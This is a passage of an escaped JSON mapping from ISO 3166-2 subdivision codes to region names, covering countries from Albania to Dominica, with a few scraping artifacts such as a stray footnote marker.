\"Durrës\",\n  \"AL-03\": \"Elbasan\",\n  \"AL-04\": \"Fier\",\n  \"AL-05\": \"Gjirokastër\",\n  \"AL-06\": \"Korçë\",\n  \"AL-07\": \"Kukës\",\n  \"AL-08\": \"Lezhë\",\n  \"AL-10\": \"Shkodër\",\n  \"AL-11\": \"Tiranë\",\n  \"AL-12\": \"Vlorë\",\n  \"DZ-01\": \"Adrar\",\n  \"DZ-44\": \"Aïn Defla\",\n  \"DZ-46\": \"Aïn Témouchent\",\n  \"DZ-16\": \"Alger\",\n  \"DZ-23\": \"Annaba\",\n  \"DZ-05\": \"Batna\",\n  \"DZ-08\": \"Béchar\",\n  \"DZ-06\": \"Béjaïa\",\n  \"DZ-52\": \"Béni Abbès\",\n  \"DZ-07\": \"Biskra\",\n  \"DZ-09\": \"Blida\",\n  \"DZ-50\": \"Bordj Badji Mokhtar\",\n  \"DZ-34\": \"Bordj Bou Arréridj\",\n  \"DZ-10\": \"Bouira\",\n  \"DZ-35\": \"Boumerdès\",\n  \"DZ-02\": \"Chlef\",\n  \"DZ-25\": \"Constantine\",\n  \"DZ-56\": \"Djanet\",\n  \"DZ-17\": \"Djelfa\",\n  \"DZ-32\": \"El Bayadh\",\n  \"DZ-57\": \"El Meghaier\",\n  \"DZ-58\": \"El Meniaa\",\n  \"DZ-39\": \"El Oued\",\n  \"DZ-36\": \"El Tarf\",\n  \"DZ-47\": \"Ghardaïa\",\n  \"DZ-24\": \"Guelma\",\n  \"DZ-33\": \"Illizi\",\n  \"DZ-54\": \"In Guezzam\",\n  \"DZ-53\": \"In Salah\",\n  \"DZ-18\": \"Jijel\",\n  \"DZ-40\": \"Khenchela\",\n  \"DZ-03\": \"Laghouat\",\n  \"DZ-28\": \"M'sila\",\n  \"DZ-29\": \"Mascara\",\n  \"DZ-26\": \"Médéa\",\n  \"DZ-43\": \"Mila\",\n  \"DZ-27\": \"Mostaganem\",\n  \"DZ-45\": \"Naama\",\n  \"DZ-31\": \"Oran\",\n  \"DZ-30\": \"Ouargla\",\n  \"DZ-51\": \"Ouled Djellal\",\n  \"DZ-04\": \"Oum el Bouaghi\",\n  \"DZ-48\": \"Relizane\",\n  \"DZ-20\": \"Saïda\",\n  \"DZ-19\": \"Sétif\",\n  \"DZ-22\": \"Sidi Bel Abbès\",\n  \"DZ-21\": \"Skikda\",\n  \"DZ-41\": \"Souk Ahras\",\n  \"DZ-11\": \"Tamanrasset\",\n  \"DZ-12\": \"Tébessa\",\n  \"DZ-14\": \"Tiaret\",\n  \"DZ-49\": \"Timimoun\",\n  \"DZ-37\": \"Tindouf\",\n  \"DZ-42\": \"Tipaza\",\n  \"DZ-38\": \"Tissemsilt\",\n  \"DZ-15\": \"Tizi Ouzou\",\n  \"DZ-13\": \"Tlemcen\",\n  \"DZ-55\": \"Touggourt\",\n  \"AD-07\": \"Andorra la Vella\",\n  \"AD-02\": \"Canillo\",\n  \"AD-03\": \"Encamp\",\n  \"AD-08\": \"Escaldes-Engordany\",\n  \"AD-04\": \"La Massana\",\n  \"AD-05\": \"Ordino\",\n  \"AD-06\": \"Sant Julià de Lòria\",\n  \"AO-BGO\": \"Bengo\",\n  \"AO-BGU\": \"Benguela\",\n  \"AO-BIE\": \"Bié\",\n  \"AO-CAB\": \"Cabinda\",\n  \"AO-CCU\": \"Cuando Cubango\",\n  \"AO-CNO\": \"Cuanza-Norte\",\n  \"AO-CUS\": \"Cuanza-Sul\",\n  \"AO-CNN\": \"Cunene\",\n  \"AO-HUA\": \"Huambo\",\n  \"AO-HUI\": \"Huíla\",\n  \"AO-LUA\": \"Luanda\",\n  \"AO-LNO\": \"Lunda-Norte\",\n  \"AO-LSU\": \"Lunda-Sul\",\n  \"AO-MAL\": \"Malange\",\n  \"AO-MOX\": \"Moxico\",\n  \"AO-NAM\": \"Namibe\",\n  \"AO-UIG\": \"Uíge\",\n  \"AO-ZAI\": \"Zaire\",\n  \"AG-03\": \"Saint George\",\n  \"AG-04\": \"Saint John\",\n  \"AG-05\": \"Saint Mary\",\n  \"AG-06\": \"Saint Paul\",\n  \"AG-07\": \"Saint Peter\",\n  \"AG-08\": \"Saint Philip\",\n  \"AG-10\": \"Barbuda\",\n  \"AG-11\": \"Redonda\",\n  \"AR-B\": \"Buenos Aires\",\n  \"AR-K\": \"Catamarca\",\n  \"AR-H\": \"Chaco\",\n  \"AR-U\": \"Chubut\",\n  \"AR-C\": \"Ciudad Autónoma de Buenos Aires\",\n  \"AR-X\": \"Córdoba\",\n  \"AR-W\": \"Corrientes\",\n  \"AR-E\": \"Entre Ríos\",\n  \"AR-P\": \"Formosa\",\n  \"AR-Y\": \"Jujuy\",\n  \"AR-L\": \"La Pampa\",\n  \"AR-F\": \"La Rioja\",\n  \"AR-M\": \"Mendoza\",\n  \"AR-N\": \"Misiones\",\n  \"AR-Q\": \"Neuquén\",\n  \"AR-R\": \"Río Negro\",\n  \"AR-A\": \"Salta\",\n  \"AR-J\": \"San Juan\",\n  \"AR-D\": \"San Luis\",\n  \"AR-Z\": \"Santa Cruz\",\n  \"AR-S\": \"Santa Fe\",\n  \"AR-G\": \"Santiago del Estero\",\n  \"AR-V\": \"Tierra del Fuego\",\n  \"AR-T\": \"Tucumán\",\n  \"AM-AG\": \"Aragac̣otn\",\n  \"AM-AR\": \"Ararat\",\n  \"AM-AV\": \"Armavir\",\n  \"AM-ER\": \"Erevan\",\n  \"AM-GR\": \"Geġark'unik'\",\n  \"AM-KT\": \"Kotayk'\",\n  \"AM-LO\": \"Loṙi\",\n  \"AM-SH\": \"Širak\",\n  \"AM-SU\": \"Syunik'\",\n  \"AM-TV\": \"Tavuš\",\n  \"AM-VD\": \"Vayoć Jor\",\n  \"AU-NSW\": \"New South Wales\",\n  \"AU-QLD\": \"Queensland\",\n  \"AU-SA\": \"South Australia\",\n  \"AU-TAS\": \"Tasmania\",\n  \"AU-VIC\": \"Victoria\",\n  \"AU-WA\": \"Western Australia\",\n  \"AU-ACT\": \"Australian Capital Territory\",\n  \"AU-NT\": \"Northern Territory\",\n  \"AT-1\": \"Burgenland\",\n  \"AT-2\": \"Kärnten\",\n  \"AT-3\": \"Niederösterreich\",\n  \"AT-4\": \"Oberösterreich\",\n  \"AT-5\": \"Salzburg\",\n  \"AT-6\": \"Steiermark\",\n  \"AT-7\": \"Tirol\",\n  \"AT-8\": \"Vorarlberg\",\n  \"AT-9\": \"Wien\",\n  \"AZ-NX\": \"Naxçıvan\",\n  \"BS-AK\": \"Acklins\",\n  \"BS-BY\": \"Berry Islands\",\n  \"BS-BI\": \"Bimini\",\n  \"BS-BP\": \"Black Point\",\n  \"BS-CI\": \"Cat Island\",\n  \"BS-CO\": \"Central Abaco\",\n  \"BS-CS\": \"Central Andros\",\n  \"BS-CE\": \"Central Eleuthera\",\n  \"BS-FP\": \"City of Freeport\",\n  \"BS-CK\": \"Crooked Island and Long Cay\",\n  \"BS-EG\": \"East Grand Bahama\",\n  \"BS-EX\": \"Exuma\",\n  \"BS-GC\": \"Grand Cay\",\n  \"BS-HI\": \"Harbour Island\",\n  \"BS-HT\": \"Hope Town\",\n  \"BS-IN\": \"Inagua\",\n  \"BS-LI\": \"Long Island\",\n  \"BS-MC\": \"Mangrove Cay\",\n  \"BS-MG\": \"Mayaguana\",\n  \"BS-MI\": \"Moore's Island\",\n  \"BS-NP\": \"New Providence\",\n  \"BS-NO\": \"North Abaco\",\n  \"BS-NS\": \"North Andros\",\n  \"BS-NE\": \"North Eleuthera\",\n  \"BS-RI\": \"Ragged Island\",\n  \"BS-RC\": \"Rum Cay\",\n  \"BS-SS\": \"San Salvador\",\n  \"BS-SO\": \"South Abaco\",\n  \"BS-SA\": \"South Andros\",\n  \"BS-SE\": \"South Eleuthera\",\n  \"BS-SW\": \"Spanish Wells\",\n  \"BS-WG\": \"West Grand Bahama\",\n  \"BH-13\": \"Al ‘Āşimah\",\n  \"BH-14\": \"Al Janūbīyah\",\n  \"BH-15\": \"Al Muḩarraq\",\n  \"BH-17\": \"Ash Shamālīyah\",\n  \"BD-A\": \"Barishal\",\n  \"BD-B\": \"Chattogram\",\n  \"BD-C\": \"Dhaka\",\n  \"BD-D\": \"Khulna\",\n  \"BD-H\": \"Mymensingh\",\n  \"BD-E\": \"Rajshahi\",\n  \"BD-F\": \"Rangpur\",\n  \"BD-G\": \"Sylhet\",\n  \"BB-01\": \"Christ Church\",\n  \"BB-02\": \"Saint Andrew\",\n  \"BB-03\": \"Saint George\",\n  \"BB-04\": \"Saint James\",\n  \"BB-05\": \"Saint John\",\n  \"BB-06\": \"Saint Joseph\",\n  \"BB-07\": \"Saint Lucy\",\n  \"BB-08\": \"Saint Michael\",\n  \"BB-09\": \"Saint Peter\",\n  \"BB-10\": \"Saint Philip\",\n  \"BB-11\": \"Saint Thomas\",\n  \"BY-BR\": \"Brestskaya voblasts'\",\n  \"BY-HO\": \"Homyel'skaya voblasts'\",\n  \"BY-HM\": \"Horad Minsk\",\n  \"BY-HR\": \"Hrodzyenskaya voblasts'\",\n  \"BY-MA\": \"Mahilyowskaya voblasts'\",\n  \"BY-MI\": \"Minskaya voblasts'\",\n  \"BY-VI\": \"Vitsyebskaya voblasts'\",\n  \"BE-BRU\": \"Brussels Hoofdstedelijk Gewest\",\n  \"BE-VLG\": \"Vlaams Gewest\",\n  \"BE-WAL\": \"Waals Gewest[note 2]\",\n  \"BZ-BZ\": \"Belize\",\n  \"BZ-CY\": \"Cayo\",\n  \"BZ-CZL\": \"Corozal\",\n  \"BZ-OW\": \"Orange Walk\",\n  \"BZ-SC\": \"Stann Creek\",\n  \"BZ-TOL\": \"Toledo\",\n  \"BJ-AL\": \"Alibori\",\n  \"BJ-AK\": \"Atacora\",\n  \"BJ-AQ\": \"Atlantique\",\n  \"BJ-BO\": \"Borgou\",\n  \"BJ-CO\": \"Collines\",\n  \"BJ-KO\": \"Couffo\",\n  \"BJ-DO\": \"Donga\",\n  \"BJ-LI\": \"Littoral\",\n  \"BJ-MO\": \"Mono\",\n  \"BJ-OU\": \"Ouémé\",\n  \"BJ-PL\": \"Plateau\",\n  \"BJ-ZO\": \"Zou\",\n  \"BT-33\": \"Bumthang\",\n  \"BT-12\": \"Chhukha\",\n  \"BT-22\": \"Dagana\",\n  \"BT-GA\": \"Gasa\",\n  \"BT-13\": \"Haa\",\n  \"BT-44\": \"Lhuentse\",\n  \"BT-42\": \"Monggar\",\n  \"BT-11\": \"Paro\",\n  \"BT-43\": \"Pema Gatshel\",\n  \"BT-23\": \"Punakha\",\n  \"BT-45\": \"Samdrup Jongkhar\",\n  \"BT-14\": \"Samtse\",\n  \"BT-31\": \"Sarpang\",\n  \"BT-15\": \"Thimphu\",\n  \"BT-41\": \"Trashigang\",\n  \"BT-TY\": \"Trashi Yangtse\",\n  \"BT-32\": \"Trongsa\",\n  \"BT-21\": \"Tsirang\",\n  \"BT-24\": \"Wangdue Phodrang\",\n  \"BT-34\": \"Zhemgang\",\n  \"BO-C\": \"Cochabamba\",\n  \"BO-H\": \"Chuquisaca\",\n  \"BO-B\": \"El Beni\",\n  \"BO-L\": \"La Paz\",\n  \"BO-O\": \"Oruro\",\n  \"BO-N\": \"Pando\",\n  \"BO-P\": \"Potosí\",\n  \"BO-S\": \"Santa Cruz\",\n  \"BO-T\": \"Tarija\",\n  \"BA-BIH\": \"Federacija Bosne i Hercegovine\",\n  \"BA-SRP\": \"Republika Srpska\",\n  \"BA-BRC\": \"Brčko distrikt\",\n  \"BW-CE\": \"Central\",\n  \"BW-CH\": \"Chobe\",\n  \"BW-FR\": \"Francistown\",\n  \"BW-GA\": \"Gaborone\",\n  \"BW-GH\": \"Ghanzi\",\n  \"BW-JW\": \"Jwaneng\",\n  \"BW-KG\": \"Kgalagadi\",\n  \"BW-KL\": \"Kgatleng\",\n  \"BW-KW\": \"Kweneng\",\n  \"BW-LO\": \"Lobatse\",\n  \"BW-NE\": \"North East\",\n  \"BW-NW\": \"North West\",\n  \"BW-SP\": \"Selibe Phikwe\",\n  \"BW-SE\": \"South East\",\n  \"BW-SO\": \"Southern\",\n  \"BW-ST\": \"Sowa Town\",\n  \"BR-AC\": \"Acre\",\n  \"BR-AL\": \"Alagoas\",\n  \"BR-AP\": \"Amapá\",\n  \"BR-AM\": \"Amazonas\",\n  \"BR-BA\": \"Bahia\",\n  \"BR-CE\": \"Ceará\",\n  \"BR-DF\": \"Distrito Federal\",\n  \"BR-ES\": \"Espírito Santo\",\n  \"BR-GO\": \"Goiás\",\n  \"BR-MA\": \"Maranhão\",\n  \"BR-MT\": \"Mato Grosso\",\n  \"BR-MS\": \"Mato Grosso do Sul\",\n  \"BR-MG\": \"Minas Gerais\",\n  \"BR-PA\": \"Pará\",\n  \"BR-PB\": \"Paraíba\",\n  \"BR-PR\": \"Paraná\",\n  \"BR-PE\": \"Pernambuco\",\n  \"BR-PI\": \"Piauí\",\n  \"BR-RJ\": \"Rio de Janeiro\",\n  \"BR-RN\": \"Rio Grande do Norte\",\n  \"BR-RS\": \"Rio Grande do Sul\",\n  \"BR-RO\": \"Rondônia\",\n  \"BR-RR\": \"Roraima\",\n  \"BR-SC\": \"Santa Catarina\",\n  \"BR-SP\": \"São Paulo\",\n  \"BR-SE\": \"Sergipe\",\n  \"BR-TO\": \"Tocantins\",\n  \"BN-BE\": \"Belait\",\n  \"BN-BM\": \"Brunei-Muara\",\n  \"BN-TE\": \"Temburong\",\n  \"BN-TU\": \"Tutong\",\n  \"BG-01\": \"Blagoevgrad\",\n  \"BG-02\": \"Burgas\",\n  \"BG-08\": \"Dobrich\",\n  \"BG-07\": \"Gabrovo\",\n  \"BG-26\": \"Haskovo\",\n  \"BG-09\": \"Kardzhali\",\n  \"BG-10\": \"Kyustendil\",\n  \"BG-11\": \"Lovech\",\n  \"BG-12\": \"Montana\",\n  \"BG-13\": \"Pazardzhik\",\n  \"BG-14\": \"Pernik\",\n  \"BG-15\": \"Pleven\",\n  \"BG-16\": \"Plovdiv\",\n  \"BG-17\": \"Razgrad\",\n  \"BG-18\": \"Ruse\",\n  \"BG-27\": \"Shumen\",\n  \"BG-19\": \"Silistra\",\n  \"BG-20\": \"Sliven\",\n  \"BG-21\": \"Smolyan\",\n  \"BG-23\": \"Sofia\",\n  \"BG-22\": \"Sofia (stolitsa)\",\n  \"BG-24\": \"Stara Zagora\",\n  \"BG-25\": \"Targovishte\",\n  \"BG-03\": \"Varna\",\n  \"BG-04\": \"Veliko Tarnovo\",\n  \"BG-05\": \"Vidin\",\n  \"BG-06\": \"Vratsa\",\n  \"BG-28\": \"Yambol\",\n  \"BF-01\": \"Boucle du Mouhoun\",\n  \"BF-02\": \"Cascades\",\n  \"BF-03\": \"Centre\",\n  \"BF-04\": \"Centre-Est\",\n  \"BF-05\": \"Centre-Nord\",\n  \"BF-06\": \"Centre-Ouest\",\n  \"BF-07\": \"Centre-Sud\",\n  \"BF-08\": \"Est\",\n  \"BF-09\": \"Hauts-Bassins\",\n  \"BF-10\": \"Nord\",\n  \"BF-11\": \"Plateau-Central\",\n  \"BF-12\": \"Sahel\",\n  \"BF-13\": \"Sud-Ouest\",\n  \"BI-BB\": \"Bubanza\",\n  \"BI-BM\": \"Bujumbura Mairie\",\n  \"BI-BL\": \"Bujumbura Rural\",\n  \"BI-BR\": \"Bururi\",\n  \"BI-CA\": \"Cankuzo\",\n  \"BI-CI\": \"Cibitoke\",\n  \"BI-GI\": \"Gitega\",\n  \"BI-KR\": \"Karuzi\",\n  \"BI-KY\": \"Kayanza\",\n  \"BI-KI\": \"Kirundo\",\n  \"BI-MA\": \"Makamba\",\n  \"BI-MU\": \"Muramvya\",\n  \"BI-MY\": \"Muyinga\",\n  \"BI-MW\": \"Mwaro\",\n  \"BI-NG\": \"Ngozi\",\n  \"BI-RM\": \"Rumonge\",\n  \"BI-RT\": \"Rutana\",\n  \"BI-RY\": \"Ruyigi\",\n  \"KH-2\": \"Baat Dambang\",\n  \"KH-1\": \"Banteay Mean Choăy\",\n  \"KH-23\": \"Kaeb\",\n  \"KH-3\": \"Kampong Chaam\",\n  \"KH-4\": \"Kampong Chhnang\",\n  \"KH-5\": \"Kampong Spueu\",\n  \"KH-6\": \"Kampong Thum\",\n  \"KH-7\": \"Kampot\",\n  \"KH-8\": \"Kandaal\",\n  \"KH-9\": \"Kaoh Kong\",\n  \"KH-10\": \"Kracheh\",\n  \"KH-11\": \"Mondol Kiri\",\n  \"KH-22\": \"Otdar Mean Chey\",\n  \"KH-24\": \"Pailin\",\n  \"KH-12\": \"Phnom Penh\",\n  \"KH-15\": \"Pousaat\",\n  \"KH-18\": \"Preah Sihanouk\",\n  \"KH-13\": \"Preah Vihear\",\n  \"KH-14\": \"Prey Veaeng\",\n  \"KH-16\": \"Rotanak Kiri\",\n  \"KH-17\": \"Siem Reab\",\n  \"KH-19\": \"Stueng Traeng\",\n  \"KH-20\": \"Svaay Rieng\",\n  \"KH-21\": \"Taakaev\",\n  \"KH-25\": \"Tbong Khmum\",\n  \"CM-AD\": \"Adamaoua\",\n  \"CM-CE\": \"Centre\",\n  \"CM-ES\": \"East\",\n  \"CM-EN\": \"Far North\",\n  \"CM-LT\": \"Littoral\",\n  \"CM-NO\": \"North\",\n  \"CM-NW\": \"North-West\",\n  \"CM-SU\": \"South\",\n  \"CM-SW\": \"South-West\",\n  \"CM-OU\": \"West\",\n  \"CA-AB\": \"Alberta\",\n  \"CA-BC\": \"British Columbia\",\n  \"CA-MB\": \"Manitoba\",\n  \"CA-NB\": \"New Brunswick\",\n  \"CA-NL\": \"Newfoundland and Labrador\",\n  \"CA-NT\": \"Northwest Territories\",\n  \"CA-NS\": \"Nova Scotia\",\n  \"CA-NU\": \"Nunavut\",\n  \"CA-ON\": \"Ontario\",\n  \"CA-PE\": \"Prince Edward Island\",\n  \"CA-QC\": \"Quebec\",\n  \"CA-SK\": \"Saskatchewan\",\n  \"CA-YT\": \"Yukon\",\n  \"CV-B\": \"Ilhas de Barlavento\",\n  \"CV-S\": \"Ilhas de Sotavento\",\n  \"CF-BB\": \"Bamingui-Bangoran\",\n  \"CF-BGF\": \"Bangui\",\n  \"CF-BK\": \"Basse-Kotto\",\n  \"CF-KB\": \"Gribingui\",\n  \"CF-HM\": \"Haut-Mbomou\",\n  \"CF-HK\": \"Haute-Kotto\",\n  \"CF-HS\": \"Haute-Sangha / Mambéré-Kadéï\",\n  \"CF-KG\": \"Kémo-Gribingui\",\n  \"CF-LB\": \"Lobaye\",\n  \"CF-MB\": \"Mbomou\",\n  \"CF-NM\": \"Nana-Mambéré\",\n  \"CF-MP\": \"Ombella-Mpoko\",\n  \"CF-UK\": \"Ouaka\",\n  \"CF-AC\": \"Ouham\",\n  \"CF-OP\": \"Ouham-Pendé\",\n  \"CF-SE\": \"Sangha\",\n  \"CF-VK\": \"Vakaga\",\n  \"TD-BG\": \"Baḩr al Ghazāl\",\n  \"TD-BA\": \"Al Baţḩā’\",\n  \"TD-BO\": \"Būrkū\",\n  \"TD-CB\": \"Shārī Bāqirmī\",\n  \"TD-EE\": \"Inīdī ash Sharqī\",\n  \"TD-EO\": \"Inīdī al Gharbī\",\n  \"TD-GR\": \"Qīrā\",\n  \"TD-HL\": \"Ḩajjar Lamīs\",\n  \"TD-KA\": \"Kānim\",\n  \"TD-LC\": \"Al Buḩayrah\",\n  \"TD-LO\": \"Lūghūn al Gharbī\",\n  \"TD-LR\": \"Lūghūn ash Sharqī\",\n  \"TD-MA\": \"Māndūl\",\n  \"TD-ME\": \"Māyū Kībbī ash Sharqī\",\n  \"TD-MO\": \"Māyū Kībbī al Gharbī\",\n  \"TD-MC\": \"Shārī al Awsaţ\",\n  \"TD-OD\": \"Waddāy\",\n  \"TD-SA\": \"Salāmāt\",\n  \"TD-SI\": \"Sīlā\",\n  \"TD-TA\": \"Tānjīlī\",\n  \"TD-TI\": \"Tibastī\",\n  \"TD-ND\": \"Madīnat Injamīnā\",\n  \"TD-WF\": \"Wādī Fīrā’\",\n  \"CL-AI\": \"Aisén del General Carlos Ibañez del Campo\",\n  \"CL-AN\": \"Antofagasta\",\n  \"CL-AP\": \"Arica y Parinacota\",\n  \"CL-AT\": \"Atacama\",\n  \"CL-BI\": \"Biobío\",\n  \"CL-CO\": \"Coquimbo\",\n  \"CL-AR\": \"La Araucanía\",\n  \"CL-LI\": \"Libertador General Bernardo O'Higgins\",\n  \"CL-LL\": \"Los Lagos\",\n  \"CL-LR\": \"Los Ríos\",\n  \"CL-MA\": \"Magallanes\",\n  \"CL-ML\": \"Maule\",\n  \"CL-NB\": \"Ñuble\",\n  \"CL-RM\": \"Región Metropolitana de Santiago\",\n  \"CL-TA\": \"Tarapacá\",\n  \"CL-VS\": \"Valparaíso\",\n  \"CN-AH\": \"Anhui Sheng\",\n  \"CN-BJ\": \"Beijing Shi\",\n  \"CN-CQ\": \"Chongqing Shi\",\n  \"CN-FJ\": \"Fujian Sheng\",\n  \"CN-GS\": \"Gansu Sheng\",\n  \"CN-GD\": \"Guangdong Sheng\",\n  \"CN-GX\": \"Guangxi Zhuangzu Zizhiqu\",\n  \"CN-GZ\": \"Guizhou Sheng\",\n  \"CN-HI\": \"Hainan Sheng\",\n  \"CN-HE\": \"Hebei Sheng\",\n  \"CN-HL\": \"Heilongjiang Sheng\",\n  \"CN-HA\": \"Henan Sheng\",\n  \"CN-HK\": \"Hong Kong SARen\",\n  \"CN-HB\": \"Hubei Sheng\",\n  \"CN-HN\": \"Hunan Sheng\",\n  \"CN-JS\": \"Jiangsu Sheng\",\n  \"CN-JX\": \"Jiangxi Sheng\",\n  \"CN-JL\": \"Jilin Sheng\",\n  \"CN-LN\": \"Liaoning Sheng\",\n  \"CN-MO\": \"Macao SARpt\",\n  \"CN-NM\": \"Nei Mongol Zizhiqu\",\n  \"CN-NX\": \"Ningxia Huizu Zizhiqu\",\n  \"CN-QH\": \"Qinghai Sheng\",\n  \"CN-SN\": \"Shaanxi Sheng\",\n  \"CN-SD\": \"Shandong Sheng\",\n  \"CN-SH\": \"Shanghai Shi\",\n  \"CN-SX\": \"Shanxi Sheng\",\n  \"CN-SC\": \"Sichuan Sheng\",\n  \"CN-TW\": \"Taiwan Sheng\",\n  \"CN-TJ\": \"Tianjin Shi\",\n  \"CN-XJ\": \"Xinjiang Uygur Zizhiqu\",\n  \"CN-XZ\": \"Xizang Zizhiqu\",\n  \"CN-YN\": \"Yunnan Sheng\",\n  \"CN-ZJ\": \"Zhejiang Sheng\",\n  \"CO-AMA\": \"Amazonas\",\n  \"CO-ANT\": \"Antioquia\",\n  \"CO-ARA\": \"Arauca\",\n  \"CO-ATL\": \"Atlántico\",\n  \"CO-BOL\": \"Bolívar\",\n  \"CO-BOY\": \"Boyacá\",\n  \"CO-CAL\": \"Caldas\",\n  \"CO-CAQ\": \"Caquetá\",\n  \"CO-CAS\": \"Casanare\",\n  \"CO-CAU\": \"Cauca\",\n  \"CO-CES\": \"Cesar\",\n  \"CO-COR\": \"Córdoba\",\n  \"CO-CUN\": \"Cundinamarca\",\n  \"CO-CHO\": \"Chocó\",\n  \"CO-DC\": \"Distrito Capital de Bogotá\",\n  \"CO-GUA\": \"Guainía\",\n  \"CO-GUV\": \"Guaviare\",\n  \"CO-HUI\": \"Huila\",\n  \"CO-LAG\": \"La Guajira\",\n  \"CO-MAG\": \"Magdalena\",\n  \"CO-MET\": \"Meta\",\n  \"CO-NAR\": \"Nariño\",\n  \"CO-NSA\": \"Norte de Santander\",\n  \"CO-PUT\": \"Putumayo\",\n  \"CO-QUI\": \"Quindío\",\n  \"CO-RIS\": \"Risaralda\",\n  \"CO-SAP\": \"San Andrés\",\n  \"CO-SAN\": \"Santander\",\n  \"CO-SUC\": \"Sucre\",\n  \"CO-TOL\": \"Tolima\",\n  \"CO-VAC\": \"Valle del Cauca\",\n  \"CO-VAU\": \"Vaupés\",\n  \"CO-VID\": \"Vichada\",\n  \"KM-G\": \"Grande Comore\",\n  \"KM-A\": \"Anjouan\",\n  \"KM-M\": \"Mohéli\",\n  \"CG-11\": \"Bouenza\",\n  \"CG-BZV\": \"Brazzaville\",\n  \"CG-8\": \"Cuvette\",\n  \"CG-15\": \"Cuvette-Ouest\",\n  \"CG-5\": \"Kouilou\",\n  \"CG-2\": \"Lékoumou\",\n  \"CG-7\": \"Likouala\",\n  \"CG-9\": \"Niari\",\n  \"CG-14\": \"Plateaux\",\n  \"CG-16\": \"Pointe-Noire\",\n  \"CG-12\": \"Pool\",\n  \"CG-13\": \"Sangha\",\n  \"CD-BU\": \"Bas-Uélé\",\n  \"CD-EQ\": \"Équateur\",\n  \"CD-HK\": \"Haut-Katanga\",\n  \"CD-HL\": \"Haut-Lomami\",\n  \"CD-HU\": \"Haut-Uélé\",\n  \"CD-IT\": \"Ituri\",\n  \"CD-KS\": \"Kasaï\",\n  \"CD-KC\": \"Kasaï Central\",\n  \"CD-KE\": \"Kasaï Oriental\",\n  \"CD-KN\": \"Kinshasa\",\n  \"CD-BC\": \"Kongo Central\",\n  \"CD-KG\": \"Kwango\",\n  \"CD-KL\": \"Kwilu\",\n  \"CD-LO\": \"Lomami\",\n  \"CD-LU\": \"Lualaba\",\n  \"CD-MN\": \"Mai-Ndombe\",\n  \"CD-MA\": \"Maniema\",\n  \"CD-MO\": \"Mongala\",\n  \"CD-NK\": \"Nord-Kivu\",\n  \"CD-NU\": \"Nord-Ubangi\",\n  \"CD-SA\": \"Sankuru\",\n  \"CD-SK\": \"Sud-Kivu\",\n  \"CD-SU\": \"Sud-Ubangi\",\n  \"CD-TA\": \"Tanganyika\",\n  \"CD-TO\": \"Tshopo\",\n  \"CD-TU\": \"Tshuapa\",\n  \"CR-A\": \"Alajuela\",\n  \"CR-C\": \"Cartago\",\n  \"CR-G\": \"Guanacaste\",\n  \"CR-H\": \"Heredia\",\n  \"CR-L\": \"Limón\",\n  \"CR-P\": \"Puntarenas\",\n  \"CR-SJ\": \"San José\",\n  \"CI-AB\": \"Abidjan\",\n  \"CI-BS\": \"Bas-Sassandra\",\n  \"CI-CM\": \"Comoé\",\n  \"CI-DN\": \"Denguélé\",\n  \"CI-GD\": \"Gôh-Djiboua\",\n  \"CI-LC\": \"Lacs\",\n  \"CI-LG\": \"Lagunes\",\n  \"CI-MG\": \"Montagnes\",\n  \"CI-SM\": \"Sassandra-Marahoué\",\n  \"CI-SV\": \"Savanes\",\n  \"CI-VB\": \"Vallée du Bandama\",\n  \"CI-WR\": \"Woroba\",\n  \"CI-YM\": \"Yamoussoukro\",\n  \"CI-ZZ\": \"Zanzan\",\n  \"HR-07\": \"Bjelovarsko-bilogorska županija\",\n  \"HR-12\": \"Brodsko-posavska županija\",\n  \"HR-19\": \"Dubrovačko-neretvanska županija\",\n  \"HR-21\": \"Grad Zagreb\",\n  \"HR-18\": \"Istarska županija\",\n  \"HR-04\": \"Karlovačka županija\",\n  \"HR-06\": \"Koprivničko-križevačka županija\",\n  \"HR-02\": \"Krapinsko-zagorska županija\",\n  \"HR-09\": \"Ličko-senjska županija\",\n  \"HR-20\": \"Međimurska županija\",\n  \"HR-14\": \"Osječko-baranjska županija\",\n  \"HR-11\": \"Požeško-slavonska županija\",\n  \"HR-08\": \"Primorsko-goranska županija\",\n  \"HR-03\": \"Sisačko-moslavačka županija\",\n  \"HR-17\": \"Splitsko-dalmatinska županija\",\n  \"HR-15\": \"Šibensko-kninska županija\",\n  \"HR-05\": \"Varaždinska županija\",\n  \"HR-10\": \"Virovitičko-podravska županija\",\n  \"HR-16\": \"Vukovarsko-srijemska županija\",\n  \"HR-13\": \"Zadarska županija\",\n  \"HR-01\": \"Zagrebačka županija\",\n  \"CU-15\": \"Artemisa\",\n  \"CU-09\": \"Camagüey\",\n  \"CU-08\": \"Ciego de Ávila\",\n  \"CU-06\": \"Cienfuegos\",\n  \"CU-12\": \"Granma\",\n  \"CU-14\": \"Guantánamo\",\n  \"CU-11\": \"Holguín\",\n  \"CU-03\": \"La Habana\",\n  \"CU-10\": \"Las Tunas\",\n  \"CU-04\": \"Matanzas\",\n  \"CU-16\": \"Mayabeque\",\n  \"CU-01\": \"Pinar del Río\",\n  \"CU-07\": \"Sancti Spíritus\",\n  \"CU-13\": \"Santiago de Cuba\",\n  \"CU-05\": \"Villa Clara\",\n  \"CU-99\": \"Isla de la Juventud\",\n  \"CY-04\": \"Ammochostos\",\n  \"CY-06\": \"Keryneia\",\n  \"CY-03\": \"Larnaka\",\n  \"CY-01\": \"Lefkosia\",\n  \"CY-02\": \"Lemesos\",\n  \"CY-05\": \"Pafos\",\n  \"CZ-31\": \"Jihočeský kraj\",\n  \"CZ-64\": \"Jihomoravský kraj\",\n  \"CZ-41\": \"Karlovarský kraj\",\n  \"CZ-52\": \"Královéhradecký kraj\",\n  \"CZ-51\": \"Liberecký kraj\",\n  \"CZ-80\": \"Moravskoslezský kraj\",\n  \"CZ-71\": \"Olomoucký kraj\",\n  \"CZ-53\": \"Pardubický kraj\",\n  \"CZ-32\": \"Plzeňský kraj\",\n  \"CZ-10\": \"Praha\",\n  \"CZ-20\": \"Středočeský kraj\",\n  \"CZ-42\": \"Ústecký kraj\",\n  \"CZ-63\": \"Kraj Vysočina\",\n  \"CZ-72\": \"Zlínský kraj\",\n  \"DK-84\": \"Region Hovedstaden\",\n  \"DK-82\": \"Region Midjylland\",\n  \"DK-81\": \"Region Nordjylland\",\n  \"DK-85\": \"Region Sjælland\",\n  \"DK-83\": \"Region Syddanmark\",\n  \"DJ-AS\": \"Ali Sabieh\",\n  \"DJ-AR\": \"Arta\",\n  \"DJ-DI\": \"Dikhil\",\n  \"DJ-DJ\": \"Djibouti\",\n  \"DJ-OB\": \"Obock\",\n  \"DJ-TA\": \"Tadjourah\",\n  \"DM-02\": \"Saint 